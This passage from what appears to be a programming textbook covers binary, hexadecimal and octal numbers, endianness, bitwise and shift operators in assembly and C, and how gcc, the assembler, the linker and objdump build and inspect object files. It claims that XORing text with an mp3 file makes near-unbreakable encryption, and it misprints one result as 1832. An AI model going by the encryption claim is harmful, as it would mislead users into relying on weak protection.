 We get the absolute value of 11001100 by using the same rule: 

   11001100 

   Flipping bits we get: 

   00110011 

   Now adding 1 we get this result: 

   00110100 

   In the previous calculations the sign bit was treated like the others; that is, as an integral part of the 
number. This is still true when converting to base 10: 

   11001100 = 0*2 0  + 0*2 1  + 1*2 2  + 1*2 3  + 0*2 4  + 0*2 5  + 1*2 6   – 1 *2 7  = –52 

   When we work with 8-bit numbers, the negative one with the maximum absolute value is 

   10000000 = –1*2 7  = –128 

   It’s not 

   11111111 = 1*2 0  + 1*2 1  + 1*2 2  + 1*2 3  + 1*2 4  + 1*2 5  + 1*2 6  – 1*2 7  = –1 

   because the seven rightmost bits give a positive contribution to the result, increasing it. If these seven bits 
are null, the only (negative) contribution is given by the leftmost bit. 

 The maximum (positive) value is 

   01111111 = 1*2 0  + 1*2 1  + 1*2 2  + 1*2 3  + 1*2 4  + 1*2 5  + 1*2 6  + 0*2 7  = 127 

         As regards the unsigned variables (containing natural numbers), their range is 0÷255 not 0÷256. The 
maximum is 11111111 = 2 8 –1 = 255. 

 In particular, the binary number 11111111 has the decimal value –1 if considered as signed and 255 if 
unsigned.  
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      Hexadecimal Numbers      
 A hexadecimal (base 16) number is made up of one or more hexadecimal digits of the set {0-9, A-F}, [  1  ]  where 
the letters A, B, C, D, E and F provide the missing symbols; A=10, B=11, … F=15. 

 Hexadecimal numbers are identified by their prefix 0x (or 0X); for example, 0x62D. 
 To convert the number 0x62D from base 16 to base 10, we proceed as before, but now the base is 16, not 2: 

   0x62D = 13*16 0  + 2*16 1  + 6*16 2  = 1581 

   In reverse, to convert 1581 from base 10 to base 16: 

   1581/16 = 98, the remainder = 13 = 0xD (1581 – 16*98)   

 This first remainder is the least-significant hexadecimal digit of the result. Let’s continue, dividing the 
quotient (98) by 16: 

   98/16 = 6, remainder = 2 
 6/16 = 0,  remainder = 6 

   To get the result we group the remainders in reverse order: 0x62D. 
 There is a biunivocal correspondence between a hexadecimal digit and a group of four consecutive bits; 

the conversion from base 2 to base 16 can be done by grouping the bits in groups of four, starting from the 
rightmost one: 

   110 0010 1101 = 0x62D 

   To convert from base 16 to base 2 we have to split each hexadecimal digit into the corresponding four-
bit group.         

      Octal Numbers      
 An octal (base 8) number is made up of one or more digits of the set 0–7, so the symbols 8, 9, A, B, C, D, E, F, 
are not valid. In this case the weight of each digit is a power of 8. 

 Octal numbers are known by their prefix 0 (not 0x); for example, 03055 is an octal number, therefore 
different from 3055 (in base 10). 

 Even 0101 is an octal number (65 in base 10), not to be confused with the binary number 101 (5 in base 
10) nor with the decimal 101. 

 By contrast, 580 isn’t certainly an octal number, since it doesn’t begin with 0 and especially because the 
second digit (8) doesn’t belong to the set {0-7}. 

 Here is a conversion scheme with other bases: 

   base 8 →  base 10:   03055 = 5*8 0  + 5*8 1  + 0*8 2  + 3*8 3  = 5 + 40 + 0 + 1536 = 1581 
 base 10 → base 8:   1581/8 = 197 (5); 197/8 = 24 (5); 24/8 = 3 (0); 3/8 = 0 (3) 
 base 8   base 2:    03055 = 011 000 101 101 
 base 8   base 16:   03055 = 011 000 101 101 = 0110 0010 1101 =  0x62D      

   1  Side-by-side with their decimal equivalents, the hexadecimal digits are 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A(10), B(11), C(12), 
D(13), E(14), F(15).  
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         Bytes      
 We already know that a group of eight consecutive bits is called a  byte . A better name would be  octet  since a 
byte (group of bits that represents one character, or the smallest addressable block of memory) might have a 
size different from 8 bits. 

 Nowadays the 8-bit byte is the de facto standard recognized by IEC 80000-13:2008, which defines new 
prefixes for multiples of bytes to avoid confusion with SI prefixes: KiB = 1024 B (don’t confuse B=Byte with 
b=bit), MiB = 1024 KiB, GiB = 1024 MiB, while if using SI prefixes: kB (lowercase k) = 1000 B, MB = 1000 kB, 
GB = 1000 MB, TB = 1000 GB. 

 Each half, a group of four consecutive bits, called a  semibyte  or   nibble   , is represented by a unique 
hexadecimal digit; for instance: 00101101 = 0x2D. 

 The  high nibble  contains the most-      significant four bits: [  2  ]  0010 = 0x2. 
 The  low nibble  contains the least-significant four bits: 1101 = 0xD. 
 Each byte has its own numeric address, usually in hexadecimal format. An address that refers to the 

beginning of one file or to a particular reference byte is called an  offset  or  relative address ; otherwise it’s 
called an  absolute address . Offsets can be positive, null, or negative depending on the reference byte; for 
example, the offsets relative to the beginning of one file are always non-negative but they can become 
negative if referred to another byte in the same file. A byte offset is obtained by subtracting from its address 
that of the reference byte. If we forget to specify which is the reference byte, the offset value becomes useless. 

 Unlike bytes, semibytes and bits cannot be addressed individually. As a consequence, they have 
no addresses; they are located through their bit offset from the least-significant bit. So if we want to 
read or modify one bit, we have to edit the whole byte: first the byte is copied to memory, then the bit is 
modified, and finally the new byte is written over the old byte. For the purpose of simplifying calculations, 
integer variables are saved in memory with inverted byte order; for example, on i386 systems the number 
0xABCDEF is saved as EF CD AB 00. Only the byte order changes, not the order of semibytes or bits; 
therefore the number 0xABCDEF is not saved as FE DC BA 00. This encoding (used by Intel-compatible 
processors) is called  little endian ; it extends to all variable types and in general to any byte sequence (except 
for character strings). 

 Briefly: 

   0x00ABCDEF  → EF CD AB 00  (EF has the lowest address) 

   The  low byte  or  least-significant byte (LSB) , made up of the least-significant eight bits, is the one with 
lower address, [  3  ]  while the  high byte  or  most-significant byte (MSB)  has higher  address     . 

 Please note that LSB and MSB are different from  lsb  (Least-significant Bit) and  msb  (Most-significant Bit). 
 Some processors don’t invert the byte order (generally called  endianness ); they use the  big    endian  

encoding  , also known as   network byte order    since it’s adopted in network protocols; the same for dates [  4  ]  and 
much more.  

   2  If we consider a byte value as an unsigned number, the four most significant bits are those with the highest weight 
(power of 2), therefore on the left side.  
   3  In x86+ operating systems (with little-endian order), the memory address of any object points to its lower byte.  
   4  In the big-endian encoding the correct order is Year/Month/Day since the year is the most significant information. In this 
case it's the field order (year–month–day) to vary if we change the encoding, not the character order. If we need some 
files (usually images, documents, and the like) to have names including their creation date, then the big-endian encoding 
is the most suitable; for example: 2014_06_25.jpg, 2013_08_30.jpg, 2012_12_04.jpg. With little-endian  field order  we 
get instead 25_06_2014.jpg, 30_08_2013.jpg, 04_12_2012.jpg, but the list has now no order at all for us; for instance if 
we choose the ascending order (by changing the view options in the File Manager menu) we see 04_12_2012.jpg, then 
25_06_2014.jpg, and, as the last image, 30_08_2013.jpg. This is because 04 comes before 25, which comes before 30.  
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      Words and Paragraphs   
 The term  word  has two meanings:

•    A group of as many bits as the processor registers have;  [  5  ]  it’s better known as a 
 hardware word . The most common sizes are 32 and 64 bits. [  6  ]   

•   In the context of programming, a word is a group of 16 consecutive bits, for any 
hardware platform. This ensures source-code portability (let’s remember that earlier 
x86 processors had 16-bit registers).        

 A  paragraph  is a group of 16 consecutive bytes; this dates back to 8086 processor era, when a 20-bit 
memory address (which could address 2 20  bytes; that is, 1 MB) was obtained by using two 16-bit registers: 
the first (the  segment register ) had to be shifted to the left by four bits and then added to the second; here is 
one example: 

   0xD912   + 
    0A3E  = 
   ----- 
 0xD9B5E 

   The segment register held the 16 most significant bits of one 20-bit address, with the lowest 4 bits equal 
to 0; that register pointed to a memory segment with maximum size of 64 KB because the offset provided by 
the other register ( offset register ) ranged from 0 to 65535 (2 16  – 1). It is clear that if the segment register were 
increased by 1, then the resulting address would be increased by 16 (one paragraph). The base address of 
a memory segment was always a multiple of one paragraph (for example, 0xD9120) since that address was 
obtained by adding 4 null bits to the 16 bits of the segment register. 

 For paragraphs, too, the least-significant bit (“ lsb  or  low-order bit ) is the one multiplied by the smallest 
power of 2, while the most-significant bit ( msb  or  high-order bit ) is the one multiplied by the greatest power of 2. 

 Similarly, the least-significant  byte   ( LSB  or  low-order byte ) of one paragraph (or group of  n  consecutive bytes) 
is made up of the least-significant eight bits while the most-significant byte ( MSB or high-order byte ) is made up of 
the most-significant eight bits. A paragraph can therefore be divided into two smaller parts: MSB, LSB. 

 Because of the similarities between acronyms,  LSB  (least-significant byte) can be confused with  lsb  
(least-significant bit) and  MSB  (most-significant  byte  ) with  msb  (most-significant bit), so we have to pay attention. 

 We’ll see that compilers make the  RSP  (or  ESP ) register a multiple of one paragraph prior to the  CALL  
instruction that starts a function; in this case we say that  RSP  is  correctly aligned .      

     Bitwise Operators 
 The bitwise  operators   are AND, XOR, OR, NOT; to this list we can add the (bit) shift operators as they modify 
data at a bit level. 

     Operators AND, XOR, OR,  NOT   
 AND is a binary operator, as are XOR and OR (each of them accepts two operands), while NOT is unary 
because it accepts only one operand. 

   5  This refers to general-purpose registers; there are others, for particular needs, with different sizes.  
   6  On an x86-64 PC we can install a 32-bit OS which will only use 32-bit registers. In this case the hardware word size is 
32 bits.  
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 The bitwise  AND  operator for each pair of corresponding bits returns 1 if  both  bits are 1, otherwise the 
operator returns 0. 

 The bitwise  XOR  (logical eXclusive OR) operator for each pair of corresponding bits returns 1 if  only one  
of them has the value 1; otherwise, the operator returns 0. 

 The bitwise  OR  (logical inclusive OR) operator for each pair of corresponding bits returns 1 if  at least 
one  of them has value 1; otherwise, the operator returns 0. 

 The bitwise  NOT  unary operator inverts all bits. 
 The NOT operator is also called  ones’ complement  or simply  complement ; if we add 1, we obtain the 

 two’s complement : 

       10010011  AND         10010011  XOR         10010011  OR        NOT  10010011 
     00110101 =          00110101 =          00110101 =           = 01101100 
     --------            --------            -------- 
     00010001            10100110            10110111 

   The only use of the AND operator in the following pages is 
 and  $0xfffffff0, %esp  [  7  ]  
 Here the constant value 0xfffffff0 is a mask used to reset the low nibble of the second operand. As we 

can see from this example, each bit that is set to 1 in the mask [  8  ]  doesn’t change the corresponding bit of the 
other operand (we could say that it “lets the bit pass”); each bit that is 0 in the mask resets the corresponding 
bit of the other operand. 

 Setting to zero the low nibble (the least-significant four bits) of an integer gives the largest multiple of 16 
(2 4 ) that is less than or equal to the given number. 

 This is useful for bringing back the value of the  ESP  register after a  POP  instruction (which increases  ESP ; 
see later). 

 The OR operator is complementary to AND; OR “turns on” all bits corresponding to the bits 1 in the 
mask, while AND “turns off” all bits corresponding to the bits 0 in the  mask  . 

 The XOR operator is useful for zeroing a register’s content: 

   xorl   %esi, %esi 

   Sets the  ESI  register to 0. The "l" suffix stands for "Long (word)," that is "32 bit integer." 

   xor    %ebp,%ebp 

   Sets the  EBP  register to 0. The "l" suffix is omitted (it can be deduced from the register) 

   xorb   %al, %al 

   Sets the  AL  register to 0. The “b” suffix stands for "Byte." 
 More generally, NOT inverts all bits of its operand, while XOR inverts only those that correspond to the 1 

bits in the mask. If applied twice it allows retrieving the initial number; for example, if 10010011 is the mask: 

   10010011 XOR  00110101  =  10100110 
 10010011 XOR  10100110  =  00110101 

   This property is often exploited to create fast symmetric-key encryption algorithms; [  9  ]  for example, a 
plain text XORed with an mp3 file produces an encrypted message that is almost impossible to decrypt.  

   7  In AT&T syntax, the prefix $ characterizes a constant number, while % characterizes a register.  
   8  Any operand may be the mask: bitwise operators have both left-associative and commutative properties.  
   9  They are described as  symmetric  because they use the same key to encrypt and decrypt. Algorithms are very hard to 
decrypt if the key is longer than the plaintext to encrypt.  
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     Bitwise vs  Logical Operators      in C 
 In C there are two AND operators, two ORs, and two NOTs, but only one XOR. 

 The two AND operators (&, &&) are different; for example, the following instructions: 

   printf("%d\n", 0x93 &   0x35);  /* Bitwise AND */ 
 printf("%d\n", 0x93 && 0x35);   /* Logical AND */ 

   are both correct, but the latter prints “1” (because both operands are not null), not “17” (= 00010001 in base 
2) as does the former. [  10  ]  

 In C a portable expression to set to zero the low semibyte of an integer variable (no matter if it is 8, 16, 32 
or 64 bits in size) is this: 

    variable & ~0xF ; 

   By contrast, 

   variable & 0xF0 

   is right only for 8-bit integers, 

   variable & 0xFFF0 

   for 16-bit integers, and so on. 

    uint8_t  variable = 0x11;          /* Add #include <stdint.h> at the beginning */ 
 printf("%x\n", variable & ~0xF);  /* Prints "10" */ 
 printf("%x\n", variable & 0xF0);  /* This too prints "10" */ 

   The expression “ variable & ~0xF ” doesn’t require more calculation (hence more time) than “ variable 
& 0xF0 ”, because the constant value  ~0xF  is calculated only once, at compile time; therefore both expressions 
are equivalent. 

 But if we double the variable size, we get different results: 

    uint16_t  variable = 0x1122;       /* Now the constant must be a 16-bit value */ 
 printf("%x\n", variable & ~0xF);  /* OK: it prints "1120" */ 
 printf("%x\n", variable & 0xF0);  /* NO: it prints "20"   */ 

   In order to work, the second  printf  instruction has to be modified: 

   printf("%x\n", variable & 0xFFF0);    /* OK: now it prints "1120" */ 

   The two OR operators also give different  results  : 

   printf("%d\n", 0x93 | 0x35);    /* Bitwise OR */ 
 printf("%d\n", 0x93 || 0x35);   /* Logical OR */ 

   The first instruction prints “1832” (= 10110111 in base 2), but the second prints “1” because at least one 
operand is not null. 

   10  There is another difference: the & operator always evaluates both expressions that form the two operands, while && 
evaluates the second expression  only if  the first one is not null (that is, if it is “true”).  
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 Even the logical operator ||, (along with &&), doesn’t always evaluate the second operand, unlike the 
counterpart bitwise OR operator. 

 The following instructions: 

   printf("%d\n", ~0x93);   /* Bitwise NOT */ 
 printf("%d\n", !0x93);   /* Logical NOT */ 

   produce respectively –148 and 0. 
 To deduce the first result, we note that 0x93 = 10010011, hence 

   ~0x93 = 111…11101101100 

   It’s negative, because the most-significant bit is 1. The absolute value of ~0x93 is 0x93+1 = 148 
 In particular, even if  var = 0  or  var = 1  it’s not true that  !var = ~var : 

   printf("%d\n", ~0);   /* Prints -1 (Bitwise NOT) */ 
 printf("%d\n", !0);   /* Prints +1 (Logical NOT) */ 
 printf("%d\n", ~1);   /* Prints -2 */ 
 printf("%d\n", !1);   /* Prints 0 */    

   Finally, the C language has no logical XOR, [  11  ] only bitwise XOR: 

   printf("%d\n", 0x93 ^ 0x35);   /* Bitwise XOR */ 

   prints “166” = 10100110 in base  2  .  

      Shift Operators      
 The  shift operators  shift all the bits of the operand to the right or left by a given number of positions. 

 Let’s begin with the right shift. The instruction “ shr $3, %eax ” shifts to the right by three positions all 
the bits of the  EAX  register; as a consequence the three least-significant bits are lost (because they  flow out  
from the register), and three new null bits are added to the left to fill the empty space created by the right-
shifting of the three most-significant bits. 

 The same result can be obtained by dividing  EAX  by 8 (2 3 ). 
 The right shift produces an integer division; for example if  EAX =46 (0x2E) then the instruction “ shr $3 , 

 %eax ” stores “5” (the integer ≤ 46/2 3 ) into  EAX . [  12  ]  For integer numbers the  shr  instruction should be avoided, 
because the null bits that are added to the left convert a negative number to positive. 

 This type of shift is called a  logical shift ; it only handles unsigned numbers. 
 For integer numbers it’s better to use the  arithmetic shift,  which saves the original sign; we only have to 

change  shr  to  sar  (in  sar  the  a  stands for “arithmetic”). [  13  ]  

   11  The logical XOR (^^) between two logical expressions  mask  and  exp , inverts  exp  if  mask=TRUE . To be more precise: 
if  mask ≠ 0  Þ  mask^^exp = !exp ; if  mask=0  Þ  mask^^exp = exp . The logical XOR may be implemented this way: 
 #define XOR(a, b) (!(a) != !(b)) . In particular, if aÎ{0, 1}, bÎ{0, 1} then  a^^b  is equivalent to  a!=b ; in fact: 
 (0^^0) ≡ (0 != 0), (1^^0) ≡ (1 != 0), (0^^1) ≡ (0 != 1) , and  (1^^1) ≡ (1 != 1) . Therefore we don't need the ^^ 
operator, since we already have another one with the same functionality.  
   12  The low byte of EAX is 00101110. Because of the shift, EAX loses three bits on the right and gains three null bits on 
the left, so it becomes 00000101.  
   13  Usually, the type of shift used by C compilers is not known a priori; for instance,  gcc  uses  shr  for unsigned variables 
and  sar  for signed ones.  
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 As an example, let’s make a right arithmetic shift by four positions, so that the least-significant 
hexadecimal digit gets lost: 

 If  EAX  = –46 (0xFFFFFFD2) then “ sar $4, %eax ” saves –3 (0xFFFFFFFD) into  EAX . 
 As it is for positive numbers, the result is the integer less than or equal to –46/16 = –2,875  [  14  ] .       
 Even the left shift can be either logical or arithmetic, but here there is no difference: “ shl $4, %eax ” and 

 “sal $4, %eax ” both produce the same result, [  15  ]  which is not always the expected one (the result of  n *2 4 ). 
Two examples will demonstrate this point:

    1.    If  EAX  = 0xFFFFFFE0, in both cases we obtain 0xFFFFFE00. 

   If  EAX  has to be seen as  unsigned , then the result is wrong since it’s  less than  the 
initial value. If  EAX  has to be seen as  integer  (so its initial value is –32), the left 
shift gives the expected result: 0xFFFFFE00 = –32*2 4 .  

    2.    If  EAX  = 0xF000000F,  shl  and  sal  both give 240 (0x000000F0), which is not the 
expected result in either case: if  EAX  is regarded as  unsigned  the result is wrong 
because it’s less than the initial value; if it’s regarded as  signed , the result is still 
wrong because its sign is opposite to that of the initial value.       

     Summary 
 Numbers can be represented by using different conventions called  numerical notations , which can be 
classified as  positional  or  nonpositional . The most common numerical notations have bases 2, 8, 10, and 16. 

 Computers use base 2 because of hardware constraints (electrical circuits transferring a series of ON/
OFF pulses generate binary numbers), while people prefer to use base 8, base 10, or base 16. 

 Three sections of this chapter dealt with binary, hexadecimal, and octal numbers, and how to convert 
numbers from one base to another. 

 Bytes, words, and paragraphs result from grouping bits. One byte is generally a group of 8 consecutive 
bits, although there is no exact definition; this is true for all common computers. A word (in the context of 
programming) is a group of 16 consecutive bits, while a paragraph is a group of 16 consecutive bytes. Bitwise 
operators, which are different from the logical operators we find in all high-level languages, are very useful 
for quickly operating on bits. 

 All this information is required if we want to use debuggers and decompilers to see how compilers and 
linkers work and what they do. We’ll start that investigation in the next chapter.      

   14  The instruction  printf("%d %d\n", -46>>4, -46/16)  prints 2 different values: –3 –2. If  EAX = –1 (0xFFFFFFFF) , 
then “ sar $4, %eax ” saves –1 (the integer ≤ –1/16)" into  EAX , while “ printf("%d %d\n", -1>>4, -1/16) ” prints –1 0.  
   15  Both add four null bits on the right to balance the lost bits on the left.  
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    CHAPTER 4   

 Executables and Libraries                          

 This chapter focuses on two main topics:  executables and libraries  ; here we want to find out how they are 
made, and how they work and interact with each other. To this end we must take a look deep inside their 
internal code, so it’s necessary to operate at a lower level than in previous chapters. The working environment 
will be Debian GNU/Linux 8 (codename  jessie ) for x86_64 processors, equipped with  gcc  v. 4.9 and  gdb  7.7 
from GNU. 

 In the following pages we’ll look at (and change) the assembly code of some test programs; here a good 
knowledge of assembly language is useful, although not compulsory since each line of code is properly 
commented, so that the basic information provided by Chapter   3     should be enough. 

 Our work  tools   will be:

•    Programs to create executables and libraries:  gas  (the GNU Assembler),  gcc  (the 
GNU compiler driver),  ld  (the GNU linker);  

•   Programs to study what’s inside binary files ( nm ,  readelf ,  objdump ,  gdb , and others).  

•   A very simple test program using a library containing only one function will be 
created. Even this trivial example is enough to demonstrate the complexity of the 
subject.    

 All of the information from this chapter is the basic knowledge we’ll need in Chapter   5    , where we’ll 
exploit our expertise to explore, and alter, the stack frames of functions. 

     Assemblers, Compilers, Linkers 
 Assemblers, compilers, and linkers are the work tools we use to create executables and libraries. The GNU 
tools are  as ,  gcc , and  ld . They can be used independently, but if intermediate files are not needed, the use of 
the compiler driver is enough to do all of the work. 

     The  Assembler      
 Usually the term  assemble r covers both the language and the translator.  GAS  stands for Gnu ASsembler; it’s 
a GNU program which translates an assembly source program to machine language. It’s also known as  GNU 
as ,  gas , or  as . You can find a comprehensive user guide to the GNU Assembler at    https://sourceware.org/
binutils/docs/as/     . 

 To get a concise description of the command  as , its syntax and options, type the command  man as  in a 
terminal window or visit    https://sourceware.org/binutils/docs/as/GNU-Assembler.html     . 

http://dx.doi.org/10.1007/978-1-4842-2181-5_3
http://dx.doi.org/10.1007/978-1-4842-2181-5_5
https://sourceware.org/binutils/docs/as/
https://sourceware.org/binutils/docs/as/
https://sourceware.org/binutils/docs/as/GNU-Assembler.html
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 We’ll use  as  rarely, only for very short programs (just a few lines of code); however, we can get the 
same object code by means of the compiler driver, which calls  as  for us. It’ important to highlight that the 
default syntax for  as  is AT&T, but we can choose the “Intel syntax” by adding the  .intel_syntax  directive 
( .att_syntax  switches back to AT&T). A clear explanation of both can be found at    https://sourceware.
org/binutils/docs/as/i386_002dVariations.html#i386_002dVariations     . 

 The following “Hello, world” example, produced by  gcc , has AT&T syntax: 

   .LC0:   .string "Hello, world" 
         .globl   main 
 main: 
          pushq    %rbp 
          movq     %rsp,  %rbp 
          movl     $.LC0, %edi 
          call     puts 
          popq     %rbp 
          ret 

        The  Compiler   
 The GNU C compiler is  gcc ; it’s part of  GCC , the Gnu  Compiler Collection  .  gcc  needs very few  command-line 
arguments  ; its syntax is straightforward: 

    gcc [options] input-file[s]  

   Because  gcc  does a lot of work (preprocessing, compilation, assembly, and linking), it has a lot of 
options, too. Options can be grouped by type (overall options, language options, warning options, debugging 
options, optimization options, preprocessor options, assembler options, and so on). 

 Usually very few (or none) of them are needed; the most commonly used are these:

    -o output-filename  (specifies the output file name)  

   -S  (creates the assembly code)  

   -c  ( creates the object code)  

   -v  (turns on verbose output)    

 We’ll use those and some other options in the following pages, to create  static and dynamic libraries  . 
 Let’s start by compiling a C test file on Debian 8 for amd64: 

   g.$  echo  -e  '#include  <stdio.h>\nmain(){printf("Hello,  world\\n");}'  >  p.c    1  
 g.$  gcc -S p.c                         # Compiles p.c: writes on p.s the assembly code of p.c 
 g.$  as -o p.o p.s                       #   Creates the object file p.o (the machine-language 

translation of p.s) 

   The   object file     p.o  is a binary file containing the “translation” into machine language of the C source 
code that we wrote in  p.c , but it is not enough to make it executable: even when the source code is entirely 
contained in only one file ( p.c ), the related object file ( p.o ) needs other things (such as  printf  from the C 
library, and much more as we’ll see later). It lacks a linking stage, to be done by the  linker , to link all pieces 
together and create a program ready to be executed. 

   1  More correctly, the second line should be written as:  int main() {printf("Hello, world\n"); return 0;}   

https://sourceware.org/binutils/docs/as/i386_002dVariations.html#i386_002dVariations
https://sourceware.org/binutils/docs/as/i386_002dVariations.html#i386_002dVariations


CHAPTER 4 ■ EXECUTABLES AND LIBRARIES

55

 It’s worth noting that the command  gcc -c p.c  (as well as  gcc -c p.s ) produces the same file  p.o  
created by  as -o p.o p.s ; therefore if the assembly code is not required, the command   gcc -c p.c  is 
enough to get the object file; the option - o  p.o  can be omitted because  gcc  uses  .o  as its default extension 
for object files. We know that  gcc  accepts as input more than one file type: C source files ( .c ), assembly 
source files ( .s ), and object files ( .o ). Depending on the filename extension,  gcc  decides what to do. This is 
because  gcc  is not really a compiler but what is called a  compiler driver ; that is, a program that takes care of 
calling the various components (preprocessor, core compiler, assembler, and linker) on behalf of the user, 
who can avoid the difficult work of choosing the right command-line options. [  2  ]  

 For example,  gcc p1.c p2.s p3.o  works as we expect:  gcc  calls  cc1  and then   as   to compile  p1.c ; it 
calls  as  to compile  p2.s ; it calls  collect2  and then  ld  to link all object files ( p1.o ,  p2.o , and  p3.o ). 

 There are predefined filename extensions for  output files  , too; for example, compilations (such as 
 gcc -S p.c ) produce assembly files with the extension  .s , but if we prefer another one (such as  .asm ) we 
must specify it by adding the option  -o p.asm : 

   g.$  echo -e '#include <stdio.h>\nmain(){printf("Hello, world\\n");}' > p.c  
 g.$  gcc -S p.c  
 g.$  ls p.*  
 p.c  p.s 
 g.$  gcc -S -o p.asm p.c  
 g.$  ls p.*  
 p.asm  p.c  p.s 
 g.$ 

   If the name of the executable file is omitted (that is, when we write  gcc p.c  without the option  -o 
fileName.ext ), then  gcc  chooses  a.out . 

 Unfortunately,  a.out  is also the default name used by   as   for output files; therefore  a.out  can be either 
an   executable object file    (containing an executable program) or a  relocatable object file  (an object file still 
not linked). 

 That’s why it’s always advisable to specify the output file name.  

     The  Linker      
 Finally, the  linker  (or  link editor ) is the program that joins together all pieces of code and data, creating an 
executable file ready to be loaded in memory. [  3  ]  

 These “pieces” aren’t only the object files obtained by compiling the program sources; let’s think of the 
 main  function:  for us  it’s the starting point, but we know that it’s a function like all others. So, which is the 
function calling  main ? 

 The linker includes some code that is responsible for various preparatory jobs; then it calls  main . If 
library functions are required, like  printf , they too are added. Joining together all pieces doesn’t mean 
writing them sequentially in one file, as the command  cat file1.o file2.o ...ecc... > p.bin  would do. 

   2  The compiler (which translates the C source code to assembly) is really  cc1 . On Debian (with gcc v. 4.9)  cc1  can be 
found in  /usr/lib/gcc/x86_64-linux-gnu/4.9/ . Therefore, to get the assembly code of  p.c.  we can write:  /usr/
lib/gcc/x86_64-linux-gnu/4.9/cc1  p.c  which, if the line  #include <stdio.h>  is removed, produces the 
same output ( p.s ) as the command  gcc -S p.c  does. The preprocessor is now included in  cc1  but there is also a 
standalone version:  /usr/bin/cpp  (it’s a link to  /usr/bin/cpp-4.9 ). The directory  /usr/lib/gcc/x86_64-linux-
gnu/4.9  has another program,  collect2  (see later), that is part of GCC; by contrast, the assembler and the linker 
belong to a group of programs called “binutils” (   https://sourceware.org/binutils/     ).  
   3  The linker may also be used to create a shared library (see later).  

https://sourceware.org/binutils/
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 Each object file (let’s call it a   module    [  4  ] ) contains, in addition to the  object code  (resulting from the 
translation of the source code to machine language), information for the linker, including a list of  global 
symbols  (names of variables and functions). Some of them are defined in the same file and can be used 
elsewhere ( exported symbols ), while others are only used there but are defined in other object files 
( imported symbols ).   

      Object Files   
 We know that object files are binary files containing the “translation” into machine language of source 
programs. To produce executable binary files, they need a linking stage; this can be done by using one 
unique tool: the  gcc  compiler driver, which calls the various components (preprocessor, core compiler, 
assembler, and linker) with the right options, saving programmers a lot of effort. 

 Object files also include a list of global symbols. To see what’s inside, we’ll use the following simple 
test files: 

   g.$  cat p1.c                            # Shows the contents of p1.c 
 int g1 = 1;                            // Defines the global variable g1; uses g2 and calls f 
 extern int g2; 
 int f(void); 
 int main(void) { int v1=0x11; return f()+v1+g1+g2; } 
 g.$ 
 g.$  cat p2.c                      # Shows the contents of p2.c 
 extern int g1;                   // Defines the global variable g2 and function f which uses g1 
 int g2 = 2; 
 int f(void) { int v2=0x22; return v2+g1+g2; } 
 g.$ 
 g.$  gcc -c p1.c p2.c                     # Creates the object files p1.o, p2.o 
 g.$ 

   The object file  p1.o  exports  g1 ,  main  and imports  g2 ,  f ;  p2.o  exports  g2  and  f  and imports  g1 . To verify 
this, we can use the  nm  command: [  5  ]  

   g.$  nm  p1.o                           # Lists the symbols of the object file p1.o 
                  U f                  # U = Undefined (f is defined in p2.o) 
 0000000000000000 D g1                 # g1 lies in the "Initialized Data" section 
                  U g2                 # g2 too is defined in p2.o, not in p1.o 
 0000000000000000 T main               # main is defined in the Text (code) section 
 g.$  nm  p2.o  
 0000000000000000 T f                  # f is defined in the Text section of p2.o 
                  U g1                 # g1 is not defined in p2.o 
 0000000000000000 D g2                 # g2 lies in the "Initialized Data" section 
 g.$ 

   4  Namely, the term  module  refers to an object file included in a static library or to a shared library to be loaded at 
execution time (a plugin). The command  ar , with the  t  option, shows all modules of a static library ( .a ); e.g.:  ar t /usr/
lib/x86_64-linux-gnu/libc.a | more   
   5  The command  man nm  prints a brief description of  nm  and a list of options.  
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   The Text section contains the object code; we can examine it using  objdump , which shows in column 
1 the instruction address (such as 29) and in the following columns the machine code ( 01 d0 ) and the 
assembly code ( add %edx,%eax )    . 

    g.$                            # Arch: x86_64, OS: Debian 8.2 (64 bit), compiler: gcc v. 4.9.2 
 g.$  objdump  -D  p1.o           # Disassembles p1.o (prints the corresponding assembly code) 

   p1.o:     file format elf64-x86-64 

   Disassembly of section .text: 

   0000000000000000 <main>:                                        # main() starts at address 0 
    0:   55                      push   %rbp                     # Prologue 
    1:   48 89 e5                mov    %rsp,%rbp                # (we'll talk about that 
    4:   48 83 ec 10             sub    $0x10,%rsp               # later, see Chapter 5) 
    8:   c7 45 fc 11 00 00 00    movl   $0x11,-0x4(%rbp)         # v1 = 0x11 
    f:   e8 00 00 00 00          callq  14 <main+0x14>           # Calls f(). EAX=return value 
   14:   89 c2                   mov    %eax,%edx                # EDX = EAX = f() 
   16:   8b 45 fc                mov    -0x4(%rbp),%eax          # EAX = v1 
   19:   01 c2                   add    %eax,%edx                # EDX += v1 
   1b:   8b 05 00 00 00 00       mov    0x0(%rip),%eax           # EAX = g1 
   21:   01 c2                   add    %eax,%edx                # Now EDX = f()+v1+g1 
   23:   8b 05 00 00 00 00       mov    0x0(%rip),%eax           # EAX = g2 
   29:   01 d0                   add    %edx,%eax                # Now EAX = f()+v1+g1+g2 
   2b:   c9                      leaveq                          # Epilogue (see below) 
   2c:   c3                      retq                            # EAX = main's return value 
 ... 
 g.$  objdump -D p2.o  

   p2.o:     file format elf64-x86-64 

   Disassembly of section .text: 

   0000000000000000 <f>:                                           # f() starts at address 0 
    0:   55                      push   %rbp                     # Prologue 
    1:   48 89 e5                mov    %rsp,%rbp                # Prologue 
    4:   c7 45 fc 22 00 00 00    movl   $0x22,-0x4(%rbp)         # v2 = 0x22 
    b:   8b 15 00 00 00 00       mov    0x0(%rip),%edx           # EDX = g1 
   11:   8b 45 fc                mov    -0x4(%rbp),%eax          # EAX = v2 
   14:   01 c2                   add    %eax,%edx                # EDX += v2 
   16:   8b 05 00 00 00 00       mov    0x0(%rip),%eax           # EAX = g2 
   1c:   01 d0                   add    %edx,%eax                # Now EAX = g1+v2+g2 
   1e:   5d                      pop    %rbp                     # Epilogue 
   1f:   c3                      retq                            # EAX = main's return value 

    The output data from  objdump  tell us that the format of both object files is ELF; each file contains some 
 sections  ( .text ,  .data , and so on) to be joined together by the linker to make up  segments  that will be loaded 
in memory at execution time. 

 To get the list of sections for both object files, we can use the command  readelf -S p1.o p2.o . Each 
section header in its output describes one section. 
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 The section .symtab  (SYMbol TABle) contains the symbol table for use by the linker  ld . For example, 
the symbol table included in  p1.o  has offset 0x130: 

   g.$  readelf -S p1.o | grep symtab  
 [10] .symtab    SYMTAB   0000000000000000 00000130 

   To get the symbol table we use the command  readelf -s p1.o  (with lowercase  s ). 
 The list of segments of the executable file ( p.bin ) is printed by the command  readelf -l p.bin , 

which shows all segments and their sections (known as  section-to-segment    mapping   ). Each program header 
